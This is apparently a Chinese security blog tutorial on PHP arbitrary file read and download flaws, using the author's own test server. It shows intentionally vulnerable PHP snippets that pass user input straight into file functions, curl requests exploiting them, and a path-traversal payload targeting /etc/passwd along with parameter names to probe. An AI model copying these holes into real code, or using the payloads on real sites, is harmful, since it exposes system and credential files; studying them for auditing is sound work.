0%

PHP-任意文件读取/下载漏洞

危害说明

下载服务器任意文件,例如脚本代码、系统配置文件、等等可用的代码进行代码审计或是获取系统ssh进行登录、获取数据库账号密码进行连接等等

任意文件读取-利用与代码

例子一:读取文件

代码

1
2
3
4
<?php
$filename = $_GET['file'];
readfile($filename);
?>
1
2
3
4
5
6
7
8
9
<?php
$filename = $_GET['file'];

$fp = fopen($filename,"r") or die("Unable to open file!");
$data = fread($fp,filesize($filename));
fclose($fp);

echo $data;
?>
1
2
3
4
<?php
$filename = $_GET['file'];
echo file_get_contents($filename);
?>

利用

把以上三个文件分别上传到我自己的服务器:
image.png
分别访问三个测试代码读取1.txt文件

1
2
3
curl http://test.hzktester.top/upload/read1.php?file=./1.txt
curl http://test.hzktester.top/upload/read2.php?file=./1.txt
curl http://test.hzktester.top/upload/read3.php?file=./1.txt

我这里直接用curl命令访问进行测试
tp2020112013.png

危险函数

  • readfile():读取文件并写入到输出缓冲。
  • fopen()fread()fclose():打开文件,输出文件,关闭文件。
  • file_get_contents():将整个文件读入一个字符串。

    例子二:复制文件

    代码:

    1
    2
    3
    4
    <?php
    $filename = $_GET['file'];
    copy($filename, 'xxx.txt');
    ?>

    利用:

    上传测试代码后,访问:
    1
    curl http://test.hzktester.top/upload/read.php?file=./1.txt
    访问后,copy()函数会在同目录复制1.txt文件的内容为xxx.txt文件。
    1
    2
    C:\Users\86136>curl http://test.hzktester.top/upload/xxx.txt
    我是被读取的文件
    然后打开刚刚复制的xxx.txt文件

    任意文件下载-利用与代码

    利用代码

    1
    2
    3
    4
    5
    6
    7
    8
    <?php
    $filename = $_GET['file'];
    header("Content-type:application/octet-stream");
    header("Content-Disposition:attachment;filename=" . $filename);
    header("Accept-ranges:bytes");
    header("Accept-length:".filesize($filename));
    readfile($filename);
    ?>

    利用

    还是先把测试代码上传到服务器,名字为upload.php。下载1.txt文件
    tp2020112014.png

    漏洞挖掘思路:

    多多关注一些参数如下:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    download.php?path=./../etc/passwd

    download.php?Path=
    download.php?path=
    download.php?RealPath=
    download.php?FilePath=
    download.php?filepath=
    download.php?inputFile=
    download.php?url=
    download.php?urls=
    download.php?dir=
    download.php?data=
    download.php?readfile=
    download.php?src=

    等等....

    危险函数

    代码审计直接搜这些函数看有没有过滤不严谨

    读取文件

  • readfile():读取文件并写入到输出缓冲。
  • fopen()fread()fclose():打开文件,输出文件,关闭文件。
  • file_get_contents():将整个文件读入一个字符串。

复制文件

  • copy():拷贝文件。

下载文件

  • head()函数中的Content-Disposition:强制浏览器下载文件。